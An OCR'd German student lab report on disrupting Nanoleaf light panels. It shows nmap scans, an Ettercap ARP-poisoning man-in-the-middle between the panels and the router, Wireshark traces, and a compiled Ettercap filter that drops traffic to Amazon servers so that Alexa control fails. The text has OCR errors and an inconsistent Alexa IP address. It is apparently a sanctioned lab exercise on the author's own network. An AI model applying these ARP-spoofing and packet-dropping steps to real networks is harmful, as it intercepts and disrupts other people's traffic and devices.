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DISRUPTING NANOLEAF LIGHT PANELS
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1. Hardware

Nanoleaf Light Panels

Firmware 2.3.0

Hardware Version: 1.6.2

MAC Adresse: 00:55:DA:52:88:1B
IP-Adresse: 192.168.0.129

1.1. Amazon Alexa

Firmware: 618571520

MAC Adresse: 38:F7:3D:2E:98:FC
IP-Adresse: 192.168.0.127

2. Zielsetzung

Ziel dieses Projekts ist es die Funktion von Amazon Alexa in Kombination mit Nanoleaf zu
storen. Dabei wird eine Man-in-the-Middle Attacke durchgefiihrt und somit die gewlinschte
Information gewonnen und anschlieRend blockiert.

3. nmap

Als erstes wurde versucht mittels nmap offene Ports zu erkennen. Der nmap Scan wurde
sowohl auf die IP-Adresse von Amazon Alexa als auch auf den Nanoleaf Light Panels
durchgefiihrt.

Abbildung 1: Topologie
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3.1.nmap Alexa
Mittels nmap konnten keine offenen Ports erkannt werden.
Asmirs-MacBook-Pro:~ asmir$ nmap -sV 192.168.0.227

Starting Nmap 7.60 ( https://nmap.org ) at 2018-11-13 20:07 CET

Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (@ hosts up) scanned in 3.29 seconds
Asmirs-MacBook-Pro:~ asmir$ nmap -Pn 192.168.0.227

Starting Nmap 7.60 ( https://nmap.org ) at 2018-11-13 20:07 CET

Nmap scan report for 192.168.0.227

Host is up (@.055s latency).

All 1000 scanned ports on 192.168.0.227 are filtered (960) or closed (40)

Nmap done: 1 IP address (1 host up) scanned in 11.31 seconds
Asmirs-MacBook-Pro:~ asmir$

3.2.nmap Nanoleaf Light Panels

Mittels nmap konnten keine offenen Ports erkannt werden, welcher fiir einen Angriff
genutzt werden kann. Port 7004 mit dem AFS Kerberos authentication service wurde
erkannt, kann jedoch nicht fiir Angriffe verwendet werden.

[Asmirs-MacBook-Pro:~ asmir$ nmap -sV 192.168.0.129

Starting Nmap 7.60 ( https://nmap.org ) at 2019-02-16 15:27 CET
Nmap scan report for 192.168.0.129

Host is up (0.042s latency).

Not shown: 999 closed ports

PORT STATE SERVICE VERSION

7004/tcp filtered afs3-kaserver

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.10 seconds

4. ARP Spoofing
4.1. Definition

In Computernetzwerken ist ARP-Spoofing, ARP-Cache-Vergiftung oder ARP-Gift-Routing eine
Technik, mit der ein Angreifer Nachrichten des Address Resolution Protocol (ARP) an ein
lokales Netzwerk sendet. Im Allgemeinen besteht das Ziel darin, die MAC-Adresse des
Angreifers mit der IP-Adresse eines anderen Hosts, wie beispielsweise des Standard-
Gateways, zu verkniipfen, so dass jeglicher Datenverkehr dartiber umgeleitet wird.

ARP-Spoofing kann es einem Angreifer ermoglichen, Datenpakete in einem Netzwerk
abzufangen, den Datenverkehr zu dndern oder den gesamten Datenverkehr zu stoppen.
Haufig wird der Angriff als Offnung fiir andere Angriffe genutzt, wie z.B. Denial of Service,
Man in the Middle oder Session Hijacking Angriffe.

Der Angriff kann nur in Netzwerken, welche ARP verwenden, verwendet werden und
erfordert, dass der Angreifer direkten Zugriff auf das anzugreifende lokale Netzwerksegment
hat.
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Server
Use'r IP-Adresse: 3.3.3.3
IP-Adresse: 1.11.1 MAC-Adresse: CC:CC:CC:33.33.23

MAC Adresse: AAAAAALLTLLL -
_|

ARP-Cache

ARP-Cache

IP-Adresse MAC-Adresse |P-Adresse MAC-Adresse

3333 B8:88:88:22:22:22 1111 BB:BB:BB:22:22:22

Angraifar
IP-Adresse: 2.22.2
- MAC-Adresse: BB:BB:BB 22:22:22

ARP-Cache
IP-Adresse MAC-Adressa
1111 AAAAANLLILTIL

3333 CC.CC.CC:33:33:33

Quelle: Eigene Darstellung.

4.2. Ettercap
Der Angriff wird mittels Ettercap durchgefiihrt.
e

Start Targees\new Mitm Filters Lo

Host List 3¢ I | ) Hosts list ~H
————— Enable IPv6 scan =
il @ Scan for hosts A i
192.168.0.1 - {
132 12:2 so8 (=1 Load from file...

IR (=] Save tofile...
192.168.0.206

Nachdem die Anwendung gestartet wurde, wird ein Hostscan in dem Netzwerk
durchgefiihrt. Dadurch werden alle verbundenen Gerate im Netzwerk mit deren MAC
Adresse und IP-Adresse dargestellt. Dies ist auf dem folgenden Screenshot ersichtlich.
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Die IP-Adresse und MAC Adresse von Amazon Alexa (192.168.0.127) und der Nanoleaf Light
Panels werden korrekt angezeigt.

ettercap 0.8.2

Start Targets Hosts View Mitm Filters Logging Plugins Info

Host List 3§ |
IP Address MAC Address | Description |
192,168.0.1 AC:22:05:78:1C:85
192,168.0.129 00:55:DA:52:88:1B
192.168.0.206 00:1D:EC:11:B4:46
192.168.0.227 38:F7:3D:2E:98:FC
Delete Host Add to Target 1 Add to Target 2
42 protocol dissectors [=
57 ports monitored
120388 mac vendor fingerprint
1766 tcp OS fingerprint
[2182 known services
|Starting Unified sniffing...
Randomizing 255 hosts for scanning...
IScanning the whole netmask for 255 hosts...
4 hosts added to the hosts list... -

Im nachsten Schritt wurde das Target ausgewahlt. Hierbei wurde die IP-Adresse von de_r;
Nanoleaf Light Panels als Target 1 ausgewahlt und die IP-Adresse des Routers als Target 2
definiert.

Nachdem dies durchgefiihrt wurde, wurde der MITM Angriff mittel ARP Poisoning gestartet.

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
7 hosts added to the hosts list...

Host 192.168.0.129 added to TARGET1
Host 192.168.0.1 added to TARGET2

= MITM Attack: ARP Poisoning

-Optional parameters
Sniff remote connections.
[C]iOnly poison one-way.:

J¢ Avbrechen | <Jok

\ o

Dabei werden beide Richtungen der Kommunikation mitgeschnitten.
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® ® s Wi-Fi: en0
g m & © X T Q @& = QR Q& £
N ip.addr == 192.168.0.129 [X] ~| Expression. &
No. Time Source Destination Protocol Length Info
1989 15.979686 192.168.0.1 192.168.0.129 ICMP 42 Echo (ping) request 1id=0x7ee7, seq=32487/59262, tt1=64 (no response found!)
1990 15.979746 192.168.0.129 192.168.0.1 Icme 42 Echo (ping) request id=0x7ee7, $eq=32487/59262, ttl=64 (no response found!)
2580 20.965362 192.168.0.129 52.5.17.29 TLSv1.2 135 Application Data
2581 20.971941 192.168.0.129 52.5.17.29 Tcp 135 [TCP Retransmission] 56413 - 443 [PSH, ACK] Seq=1 Ack=1 Win=7300 Len=69 TSval=397734 TSecr=2.
2589 21.101406 52.5.17.29 192.168.0.129 TLSv1.2 135 Application Data
2590 21.106560 52.5.17.29 192.168.0.129 TCP 135 [TCP Retransmission] 443 - 56413 [PSH, ACK] Seq=1 Ack=7@ Win=114 Len=69 TSval=29543323 TSecr.
2592 21.119861 192.168.0.129 52.5.17.29 TCcP 66 56413 - 443 [ACK] Seq=7@ Ack=70 Win=730@ Len=0 TSval=397750 TSecr=29543323
2593 21.126708 192.168.0.129 52.5.17.29 TCP 66 [TCP Dup ACK 2592#1] 56413 - 443 [ACK] Seq=70 Ack=70 Win=7300 Len=0 TSval=397750 TSecr=29543.
2656 21.869162 35.175.94.36 192.168.0.129 TLSv1.2 359 Application Data
2659 21.877073 35.175.94.36 192.168.0.129 TCP 359 [TCP Retransmission] 443 - 43438 [PSH, ACK] Seq=1 Ack=1 Win=218 Len=293 TSval=76108509 TSecr.
2662 21.888938 192.168.0.129 35,175.94.36 TCP 66 43438 - 443 [ACK] Seq=1 Ack=294 Win=7300 Len=0 TSval=397827 TSecr=76108509

» Frame 13445: 135 bytes on wire (1080 bits), 135 bytes captured (1080 bits) on interface 0
» Ethernet II, Src: CompalBr_78:1c:85 (ac:22:05:78:1c:85), Dst: Apple_71:4d:63 (78:4f:43:71:4d:63)
» Internet Protocol Version 4, Src: 52.5.17.29, Dst: 192.168.0.129

v Transmission Control Protocol, Src Port: 443, Dst Port: 56413, Seq: 484, Ack: 670, Len: 69
Source Port: 443

Destination Port: 56413

[Stream index: 16]

[TCP Segment Len: 69]

Sequence number: 484 (relative sequence number)

[Next sequence number: 553 (relative sequence number)]

Acknowledgment number: 670 (relative ack number)

1000 .... = Header Length: 32 bytes (8)

Flags: 0x018 (PSH, ACK)

Window size value: 114

v

78 1c 85 08 00 45 00  x0CqMc."
d9 34 05 11 1d c6 a8 .y.Y@... .
43 b6 41 3c 97 80 18 JiP
@a 01 c3 19 c8 00 96
1d f2 be 93 e@ 28 91
af 9f 68 08 ae 61 fe
51 99 e0@ 19 45 5d 66
8a 38 a9 c6 5d d3 76

Wie im Trace ersichtlich, kommuniziert Nanoleaf direkt mit den Servern von Amazon.
Die beiden IP-Adressen (52.5.17.29) sind auf Amazon registriert (WHOIS IP Abfrage).

D Email Share

WHOIS IP Lookup Tool

The IPWHOIS Lookup tool finds contact information for the owner of a specified IP address.

Enfer a host name or an IP address.

52.5.17.29 [Go» |

]

19.12.91
52.9.0.9-52.31.255.255
amazon Technologies Inc

98109
united states

AnschlieBend wurde mittels Ettercap ein Filter definiert, um die Kommunikation zu storen
und somit die Funktionalitat der Nanoleaf Light Panels zu beeintrachtigen.
Dazu wurde unter /usr/local/share/ettercap die Datei dos.elt mit folgendem Inhalt erzeugt.

if (ip.src == '192.168.0.129' || ip.dst == '52.5.17.29")
{

drop () ;

kill () ;

msg ("Packet Dropped\n") ;

}

Damit der Filter verwendet werden kann, muss dieser zuerst kompiliert werden.
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etterfilter dos.elt -o dos.ef

Um den Filter anzuwenden, wurde dieser Uber Ettercap -> Filters -> Select precompiled Filter
ausgewahlt und somit aktiviert.

Start Targets Hosts View Mitm Filters Logging Plugins Info
Select a precompiled filter file...
7 usr | local | Cellar | ettercap | 0.8.2_1 | share Iettercap
Orte | Name v | GroBe | Letzte Anderungl =
©, Suchen [ ] AUTHORS 2,3kB 14.03.2015
[ asmir [ dos.elt 102 Bytes 16:51
[ root [ 7] etter.fields 1,9 kB 14.03.2015
[ Desktop [ etter.filter 1,3kB 14.03.2015
Dateisystem [ 7] etter.filter.examples 35kB  14.03.2015
| ] etter filter.kill 1,3kB 14.03.2015
[ ) etter filter.pcre 1,6kB  14.03.2015
J|[ 7] etter.filter.ssh 1,8kB  14.03.2015
11 etter.finger.mac 589,4kB 14.03.2015 o
|7 etter.finger.os 86,9kB  14.03.2015 Al
[ ] etter.mime 23kB  14.03.2015
|__1 etter.services 105,8 kB  14.03.2015
[ ] etter.ssl.crt 1,7kB  14.03.2015
| 7 ettercap-small.png 17,1kB  14.03.2015
[ 7 ettercap.png 612kB  13.11.2018 L
[ 7] ettercap.svg 6,7 kB 14.03.2015 £
|:] etterfilter.cnt 1,4 kB 14.03.2015 r
[ 7] etterfitter.tbl 38kB  14.03.2015 Tl
dp = [ etterlog.dtd 910 Bytes 14.03.2015 -
x Abbrechen 1 Offnen
L . =
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In dem darauffolgenden Wiresharek Trace ldsst sich erkennen, dass die Nanoleaf Light
Panels nicht mehr in der Lage sind die Kommunikation zu den Servern von Amazon

herzustellen. In folge dessen, ist die Funktionalitat des Nanoleafs gestodrt und das Ziel dieses
Projektes somit erreicht.

ene % Wi-Fi: en0
o & ® X C Q @& = QA QE
| W ip.addr == 192.168.0.129 = ~ | Expression.. +
No. Time Source Destination Protocol Length Info
19885 20.602587 192.168.0.1 192.168.0.129 e 70 Destination unreachable (Port unreachable) [ETHERNET FRAME CHECK SEQUENCE INCORRECT]
20209 22.947402 192.168.0.129 193.141.27.1 NTP 90 NTP Version 4, client
20210 22.953446 193.141.27.1 192.168.0.129 e 70 Destination unreachable (Port unreachable) [ETHERNET FRAME CHECK SEQUENCE INCORRECT]
20364 24.608469 192.168.0.129 192.168.0.1 DNS 79 Standard query 0x@0e6 AAAA control.nanoleaf.me
20365 24.614892 192.168.0.1 192.168.0.129 e 70 Destination unreachable (Port unreachable) [ETHERNET FRAME CHECK SEQUENCE INCORRECT]
20466 25.601950 192.168.0.129 192.168.0.1 DNS 74 Standard query @x@17a A cd.nanoleaf.me
20472 25.610355 192.168.0.1 192.168.0.129 e 70 Destination unreachable (Port unreachable) [ETHERNET FRAME CHECK SEQUENCE INCORRECT]
20802 29.601320 192.168.0.129 192.168.0.1 DNS 79 Standard query 0x@0e7 AAAA control.nanoleaf.me
20804 29.609693 192.168.0.1 192.168.0.129 e 70 Destination unreachable (Port unreachable) [ETHERNET FRAME CHECK SEQUENCE INCORRECT]
21084 34.607451 192.168.0.129 192.168.0.1 DNS 79 Standard query 0x@0e8 AAAA control.nanoleaf.me
21085 34.616046 192.168.0.1 192.168.0.129 IcmpP 70 Destination unreachable (Port unreachable) [ETHERNET FRAME CHECK SEQUENCE INCORRECT]
21190 35.675006 192.168.0.129 192.168.0.1 DNS 74 Standard query 0x017b AAAA cd.nanoleaf.me
21192 35.676122 192.168.0.1 192.168.0.129 e 70 Destination unreachable (Port unreachable) [ETHERNET FRAME CHECK SEQUENCE INCORRECT]
21582 39.722302 192.168.0.129 192.168.0.1 DNS 79 Standard query 0x80e9 A control.nanoleaf.me
21585 39.732763 192.168.0.1 192.168.0.129 e 70 Destination unreachable (Port unreachable) [ETHERNET FRAME CHECK SEQUENCE INCORRECT]
21841 40.658532 192.168.0.129 192.168.0.1 DNS 74 Standard query 0x017c AAAA cd.nanoleaf.me
21842 40.667238 192.168.0.1 192.168.0.129 Icmp 7@ Destination unreachable (Port unreachable) [ETHERNET FRAME CHECK SEQUENCE INCORRECT]
22465 44.619964 192.168.0.129 192.168.0.1 DNS 79 Standard query @x@@ea A control.nanoleaf.me
22466 44.629651 192.168.0.1 192.168.0.129 Icmp 70 Destination unreachable (Port unreachable) [ETHERNET FRAME CHECK SEQUENCE INCORRECT]
22577 45.647437 192.168.0.129 192.168.0.1 DNS 74 Standard query @x017d AAAA cd.nanoleaf.me
22578 45.652508 192.168.0.1 192.168.0.129 plaliy 70 Destination unreachable (Port unreachable) [ETHERNET FRAME CHECK SEQUENCE INCORRECT]

» Frame 17148: 70 bytes on wire (560 bits), 7@ bytes captured (560 bits) on integface @

-

» Internet Protocol Version 4, Src: 192.168.0.1, Dst: 192.168.
v Internet Control Message Protocol

00 55 da 52 88

10 00 1c 7e e7 0@
) 00 81 03 @3 fc
40 00 40 11 2a

1b 78 4f
00 40 01
42 7e e7
ad c0 a8

43 71 4d 63 08 00 45 00
7a 27 c0 a8 00 01 c@ a8
7e e7 45 00 00 3c 8e 3a
00 81 c@ a8 00 01 88 6d

00 35 00 28 7a 20

Nachdem der Filter wieder deaktiviert wurde, funktionierte das Andern der Farbe mittels
Amazon Alexa wieder wie gewohnt.

LN % Wi-Fi: en0
jal m & @© X B R &= Q Q a I
N ip.addr == 192.168.0.129 [X] ~| Expression... +
No. Time Source Destination Protocol Length Info
1989 15.979686 192.168.0.1  192.168.0.129 ICMP 42 Echo (ping) request id=@x7ee7, seq=32487/59262, tt1=64 (no response found!)
1990 15.979746 192.168.0.129 192.168.0.1 Icme 42 Echo (ping) request id=0x7ee7, seq=32487/59262, tt1=64 (no response found!)
2580 20.965362 192.168.0.129 52.5.17.29 TLSv1.2 135 Application Data
2581 20.971941 192.168.0.129 52.5.17.29 TCP 135 [TCP Retransmission] 56413 - 443 [PSH, ACK] Seq=1 Ack=1 Win=7300 Len=69 TSval=397734 TSecr=2.
2589 21.101406 52.5.17.29 192.168.0.129 TLSv1.2 135 Application Data
2590 21.106560 52.5.17.29 192.168.0.129 TCP 135 [TCP Retransmission] 443 - 56413 [PSH, ACK] Seq=1 Ack=7@ Win=114 Len=69 TSval=29543323 TSecr.
2592 21.119861 192.168.0.129 52.5.17.29 TCP 66 56413 - 443 [ACK] Seq=70 Ack=7@ Win=7300 Len=0 TSval=397750 TSecr=29543323
2593 21.126708 192.168.0.129 52.5.17.29 TCP 66 [TCP Dup ACK 2592#1] 56413 -+ 443 [ACK] Seq=70 Ack=7@ Win=7300 Len=0 TSval=397750 TSecr=29543.
2656 21.869162 35.175.94.36 192.168.0.129 TLSv1.2 359 Application Data
2659 21.877073 35.175.94.36 192.168.0.129 TCP 359 [TCP Retransmission] 443 - 43438 [PSH, ACK] Seq=1 Ack=1 Win=218 Len=293 TSval=76108509 TSecr.
2662 21.888938 192.168.0.129 35.175.94.36 TCP 66 43438 - 443 [ACK] Seq=1 Ack=294 Win=730@ Len=0 TSval=397827 TSecr=76108509

«avvy

Source Port: 443

Destination Port: 56413

[Stream index: 16]

[TCP Segment Len: 69]

Sequence number: 484
[Next sequence number: 553
Acknowledgment number: 670

1000 = Header

v

Flags: 0x018 (PSH,
Window size value:

(relative sequence number)

(relative sequence number)]
(relative ack number)

Length: 32 bytes (8)
ACK)
114

x0CqMc."

Frame 13445: 135 bytes on wire (1080 bits), 135 bytes captured (1080 bits) on interface @

Ethernet II, Src: CompalBr_78:1c:85 (ac:22:05:78:1c:85), Dst: Apple_71:4d:63 (78:4f:43:71:4d:63)
Internet Protocol Version 4, Src: 52.5.17.29, Dst: 192.168.0.129
Transmission Control Protocol, Src Port: 443, Dst Port: 56413, Seq: 484, Ack: 670, Len: 69
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